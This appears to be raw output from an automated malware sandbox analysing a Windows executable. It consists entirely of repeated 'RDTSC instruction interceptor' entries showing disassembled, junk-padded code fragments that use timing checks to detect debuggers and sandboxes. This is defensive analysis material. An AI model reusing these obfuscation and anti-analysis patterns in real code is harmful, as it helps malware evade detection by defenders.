Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BD070C second address: BD0712 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C4BFE7 second address: C4BFF9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3A81335206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F3A81335206h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C4C44C second address: C4C456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C4C860 second address: C4C864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C4C864 second address: C4C86C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C4C9DD second address: C4C9E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C4CB61 second address: C4CB6D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jo 00007F3A80CCDB96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C4CD40 second address: C4CD48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C4CD48 second address: C4CD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C4BB94 second address: C4BB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C4BB9A second address: C4BBC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b jns 00007F3A80CCDB98h 0x00000011 push edx 0x00000012 jmp 00007F3A80CCDB9Fh 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C4BBC4 second address: C4BBCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C4BBCA second address: C4BBCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C51EF3 second address: C51EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C52039 second address: C52041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C52041 second address: C52045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C52045 second address: C5205D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5205D second address: C52066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C52066 second address: C5206C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5219F second address: C521C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A81335215h 0x00000009 jmp 00007F3A8133520Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C524AE second address: C524E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F3A80CCDB9Ah 0x0000000e jmp 00007F3A80CCDBA5h 0x00000013 jp 00007F3A80CCDB96h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C524E1 second address: C524F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A8133520Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C524F0 second address: C524FA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3A80CCDB96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C51B8D second address: C51B99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C51B99 second address: C51BAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3A80CCDB9Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C528FF second address: C5291B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3A81335206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push edx 0x0000000c pop edx 0x0000000d jne 00007F3A81335206h 0x00000013 pop esi 0x00000014 push edi 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5291B second address: C5291F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C52BB0 second address: C52BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jmp 00007F3A81335211h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C56ABF second address: C56ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 jbe 00007F3A80CCDBB2h 0x0000000e je 00007F3A80CCDBA2h 0x00000014 jg 00007F3A80CCDB96h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C56ADB second address: C56AE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C56C20 second address: C56C37 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3A80CCDBA2h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C56C37 second address: C56C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C56C3D second address: C56C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C590E0 second address: C590F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F3A81335206h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C590F0 second address: C590F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C609FA second address: C60A1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F3A81335215h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jl 00007F3A81335206h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C60A1E second address: C60A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jmp 00007F3A80CCDBA3h 0x0000000e pop ebx 0x0000000f jmp 00007F3A80CCDBA2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5F76B second address: C5F76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5F76F second address: C5F779 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3A80CCDB96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5F779 second address: C5F783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5F8FA second address: C5F900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5F900 second address: C5F91F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3A81335218h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5FA97 second address: C5FA9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5FA9D second address: C5FAA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5FAA2 second address: C5FAA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5FAA8 second address: C5FAAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C08A53 second address: C08A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C08A58 second address: C08A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C08A5D second address: C08ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A80CCDBA5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F3A80CCDB98h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 jmp 00007F3A80CCDBA9h 0x0000002c mov edx, dword ptr [ebp+122D2CACh] 0x00000032 push 00000004h 0x00000034 xor dword ptr [ebp+12477EBBh], edx 0x0000003a nop 0x0000003b push edi 0x0000003c pushad 0x0000003d push ebx 0x0000003e pop ebx 0x0000003f pushad 0x00000040 popad 0x00000041 popad 0x00000042 pop edi 0x00000043 push eax 0x00000044 push edi 0x00000045 push edi 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5FD04 second address: C5FD30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F3A8133520Dh 0x0000000a jne 00007F3A81335206h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3A8133520Fh 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C5FD30 second address: C5FD6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Fh 0x00000007 jmp 00007F3A80CCDBA4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3A80CCDBA1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C6074E second address: C60752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C649A8 second address: C649BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jng 00007F3A80CCDB96h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C649BA second address: C649BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C63E02 second address: C63E12 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3A80CCDB96h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C63E12 second address: C63E16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C63F6F second address: C63F73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C63F73 second address: C63FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3A81335218h 0x0000000b jmp 00007F3A8133520Ah 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 ja 00007F3A81335206h 0x00000019 pop edx 0x0000001a popad 0x0000001b pushad 0x0000001c push esi 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C63FAC second address: C63FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F3A80CCDB96h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C63FBB second address: C63FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C64151 second address: C64161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F3A80CCDB96h 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C64161 second address: C64184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A81335216h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F3A81335206h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C67162 second address: C67185 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3A80CCDB96h 0x00000008 jmp 00007F3A80CCDBA9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C67185 second address: C6718F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3A8133520Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C672F2 second address: C67302 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F3A80CCDB9Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C67302 second address: C67324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F3A81335214h 0x0000000c jmp 00007F3A8133520Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F3A81335206h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C67324 second address: C6732E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3A80CCDB96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C675C4 second address: C675CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C675CB second address: C675D0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C6D25F second address: C6D263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C6E290 second address: C6E2A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3A80CCDB9Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C6E2A6 second address: C6E2AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C6E590 second address: C6E59E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C75101 second address: C75105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C75105 second address: C7511F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 je 00007F3A80CCDB96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C7511F second address: C75134 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A8133520Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ecx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C74449 second address: C74463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3A80CCDB96h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3A80CCDB9Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C745AF second address: C745B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C74B0F second address: C74B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C74B17 second address: C74B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C74C91 second address: C74CA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3A80CCDBA1h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C74DD8 second address: C74DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C74DDD second address: C74DE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3A80CCDB96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C74DE7 second address: C74DF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C74DF4 second address: C74E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A80CCDBA4h 0x00000009 jng 00007F3A80CCDB96h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C74E13 second address: C74E30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A81335217h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C74E30 second address: C74E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C74E34 second address: C74E57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A8133520Eh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3A8133520Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C7F8F1 second address: C7F8F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C800F6 second address: C800FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C800FC second address: C80102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C80102 second address: C80106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C80106 second address: C8011F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
